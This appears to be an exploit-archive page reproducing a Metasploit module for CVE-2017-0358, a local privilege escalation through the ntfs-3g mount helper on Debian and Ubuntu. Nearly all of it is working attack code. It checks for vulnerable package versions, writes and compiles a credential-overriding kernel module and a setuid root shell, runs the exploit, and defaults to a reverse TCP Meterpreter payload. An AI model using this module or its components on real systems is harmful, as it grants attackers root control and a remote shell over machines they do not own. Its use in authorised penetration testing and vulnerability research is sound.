Debian/Ubuntu ntfs-3g Local Privilege Escalation

Related Vulnerabilities: CVE-2017-0358  
Publish Date: 04 Apr 2017
                ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Local
  Rank = GoodRanking

  include Msf::Exploit::EXE
  include Msf::Post::File
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super( update_info( info, {
        'Name'          => 'Debian/Ubuntu ntfs-3g Local Privilege Escalation',
        'Description'   => %q{
          ntfs-3g mount helper in Ubuntu 16.04, 16.10, Debian 7, 8, and possibly 9 does not properly sanitize the environment when executing modprobe.
          This can be abused to load a kernel module and execute a binary payload as the root user.
        },
        'License'       => MSF_LICENSE,
        'Author'        =>
          [
            'jannh@google.com',                    # discovery
            'h00die <mike@shorebreaksecurity.com>' # metasploit module
          ],
        'Platform'      => [ 'linux' ],
        'Arch'          => [ ARCH_X86, ARCH_X64 ],
        'SessionTypes'  => [ 'shell', 'meterpreter' ],
        'References'    =>
          [
            [ 'CVE', '2017-0358' ],
            [ 'EDB', '41356' ],
            [ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1072' ]
          ],
        'Targets'       =>
          [
            [ 'Linux x86',       { 'Arch' => ARCH_X86 } ],
            [ 'Linux x64',       { 'Arch' => ARCH_X64 } ]
          ],
        'DefaultOptions' =>
          {
            'payload' => 'linux/x64/mettle/reverse_tcp',
            'PrependFork' => true,
            },
        'DefaultTarget' => 1,
        'DisclosureDate' => 'Jan 05 2017',
        'Privileged'     => true
      }
      ))
    register_options([
        OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
      ], self.class)
  end

  def check

    # check if linux headers were installed on Debian (not ubuntu). The 'common' headers won't work.
    def headers_installed?()
      output = cmd_exec('dpkg -l | grep \'^ii\' | grep linux-headers.*[^common]{7}')
      if output
        if output.include?('linux-headers')
          return true
        else
          print_error('Linux kernel headers not available, compiling will fail.')
          return false
        end
      end
      false
    end

    output = cmd_exec('dpkg -l ntfs-3g | grep \'^ii\'')
    if output
      if output.include?('1:2015.3.14AR.1-1build1') #Ubuntu 16.04 LTS
        print_good('Vulnerable Ubuntu 16.04 detected')
        CheckCode::Appears
      elsif output.include?('1:2016.2.22AR.1-3') #Ubuntu 16.10
        print_good('Vulnerable Ubuntu 16.10 detected')
        CheckCode::Appears
      elsif output.include?('1:2012.1.15AR.5-2.1+deb7u2') #Debian Wheezy, we also need linux-source installed
        print_good('Vulnerable Debian 7 (wheezy) detected')
        if headers_installed?()
          CheckCode::Appears
        else
          CheckCode::Safe
        end
        CheckCode::Appears
      elsif output.include?('1:2014.2.15AR.2-1+deb8u2') #Debian Jessie, we also need linux-source installed
        print_good('Vulnerable Debian 8 (jessie) detected')
        if headers_installed?()
          CheckCode::Appears
        else
          CheckCode::Safe
        end
        CheckCode::Appears
      else
        print_error("Version installed not vulnerable: #{output}")
        CheckCode::Safe
      end
    else
      print_error('ntfs-3g not installed')
      CheckCode::Safe
    end
  end

  def exploit
    def upload_and_compile(filename, file_path, file_content, compile=nil)
      rm_f "#{file_path}"
      if not compile.nil?
        rm_f "#{file_path}.c"
        vprint_status("Writing #{filename} to #{file_path}.c")
        write_file("#{file_path}.c", file_content)
        register_file_for_cleanup("#{file_path}.c")
        output = cmd_exec(compile)
        if output != ''
          print_error(output)
          fail_with(Failure::Unknown, "#{filename} at #{file_path}.c failed to compile")
        end
      else
        vprint_status("Writing #{filename} to #{file_path}")
        write_file(file_path, file_content)
      end
      cmd_exec("chmod +x #{file_path}");
      register_file_for_cleanup(file_path)
    end

    # These are direct copies of the modules from EDB
    rootmod = %q{
      #include <linux/module.h>
      #include <linux/kernel.h>
      #include <linux/cred.h>
      #include <linux/syscalls.h>
      #include <linux/kallsyms.h>

      static int suidfile_fd = -1;
      module_param(suidfile_fd, int, 0);

      static int __init init_rootmod(void) {
        int (*sys_fchown_)(int fd, int uid, int gid);
        int (*sys_fchmod_)(int fd, int mode);
        const struct cred *kcred, *oldcred;

        sys_fchown_ = (void*)kallsyms_lookup_name("sys_fchown");
        sys_fchmod_ = (void*)kallsyms_lookup_name("sys_fchmod");

        printk(KERN_INFO "rootmod loading\n");
        kcred = prepare_kernel_cred(NULL);
        oldcred = override_creds(kcred);
        sys_fchown_(suidfile_fd, 0, 0);
        sys_fchmod_(suidfile_fd, 06755);
        revert_creds(oldcred);
        return -ELOOP; /* fake error because we don't actually want to end up with a loaded module */
      }

      static void __exit cleanup_rootmod(void) {}

      module_init(init_rootmod);
      module_exit(cleanup_rootmod);

      MODULE_LICENSE("GPL v2");
    }

    rootshell = %q{
      #include <unistd.h>
      #include <err.h>
      #include <stdio.h>
      #include <sys/types.h>

      int main(void) {
        if (setuid(0) || setgid(0))
          err(1, "setuid/setgid");
        fputs("we have root privs now...\n", stderr);
        execl("/bin/bash", "bash", NULL);
        err(1, "execl");
      }
    }

    # we moved sploit.c off since it was so big to the external sources folder
    path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2017-0358', 'sploit.c')
    fd = ::File.open( path, "rb")
    sploit = fd.read(fd.stat.size)
    fd.close

    rootmod_filename = 'rootmod'
    rootmod_path = "#{datastore['WritableDir']}/#{rootmod_filename}"
    rootshell_filename = 'rootshell'
    rootshell_path = "#{datastore['WritableDir']}/#{rootshell_filename}"
    sploit_filename = 'sploit'
    sploit_path = "#{datastore['WritableDir']}/#{sploit_filename}"
    payload_filename = rand_text_alpha(8)
    payload_path = "#{datastore['WritableDir']}/#{payload_filename}"

    if check != CheckCode::Appears
      fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
    end

    def has_prereqs?()
      def check_gcc?()
        gcc = cmd_exec('which gcc')
        if gcc.include?('gcc')
          vprint_good('gcc is installed')
          return true
        else
          print_error('gcc is not installed.  Compiling will fail.')
          return false
        end
      end

      def check_make?()
        make = cmd_exec('which make')
        if make.include?('make')
          vprint_good('make is installed')
          return true
        else
          print_error('make is not installed.  Compiling will fail.')
          return false
        end
      end

      return check_make?() && check_gcc?()
    end

    if has_prereqs?()
      vprint_status('Live compiling exploit on system')
    else
      fail_with(Failure::Unknown, 'make and gcc required on system to build exploit for kernel')
    end

    # make our substitutions so things are dynamic
    rootshell.gsub!(/execl\("\/bin\/bash", "bash", NULL\);/,
               "return execl(\"#{payload_path}\", \"\", NULL);") #launch our payload, and do it in a return to not freeze the executable
    print_status('Writing files to target')
    cmd_exec("cd #{datastore['WritableDir']}")

    #write all the files and compile.  This is equivalent to the original compile.sh
    #gcc -o rootshell rootshell.c -Wall
    upload_and_compile('rootshell', rootshell_path, rootshell, "gcc -o #{rootshell_filename} #{rootshell_filename}.c -Wall")
    #gcc -o sploit sploit.c -Wall -std=gnu99
    upload_and_compile('sploit', sploit_path, sploit, "gcc -o #{sploit_filename} #{sploit_filename}.c -Wall -std=gnu99")
    #make -C /lib/modules/$(uname -r)/build M=$(pwd) modules
    upload_and_compile('rootmod', "#{rootmod_path}.c", rootmod, nil)
    upload_and_compile('Makefile', "#{datastore['WritableDir']}/Makefile", 'obj-m := rootmod.o', nil)
    cmd_exec('make -C /lib/modules/$(uname -r)/build M=$(pwd) modules')
    upload_and_compile('payload', payload_path, generate_payload_exe)

    #This is equivalent to the 2nd half of the compile.sh file
    cmd_exec('mkdir -p depmod_tmp/lib/modules/$(uname -r)')
    cmd_exec('cp rootmod.ko depmod_tmp/lib/modules/$(uname -r)/')
    cmd_exec('/sbin/depmod -b depmod_tmp/')
    cmd_exec('cp depmod_tmp/lib/modules/$(uname -r)/*.bin .')
    cmd_exec('rm -rf depmod_tmp')

    register_file_for_cleanup("#{rootmod_path}.ko")
    register_file_for_cleanup("#{rootmod_path}.mod.c")
    register_file_for_cleanup("#{rootmod_path}.mod.o")
    register_file_for_cleanup("#{rootmod_path}.o")

    # and here we go!
    print_status('Starting execution of priv esc.')
    output = cmd_exec(sploit_path)
    unless session_created?
      # this could also be output.include?('we have root privs now...'), however session_created handles some additional cases like elevation happened,
      # but binary payload was caught, or NIPS shut down the callback etc.
      vprint_error(output)
    end
  end

  def on_new_session(session)
    # if we don't /bin/bash here, our payload times out
    # [*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:37022) at 2016-09-27 14:15:04 -0400
    # [*] 192.168.199.130 - Meterpreter session 2 closed.  Reason: Died
    session.shell_command_token('/bin/bash')
    super
  end
end
<p>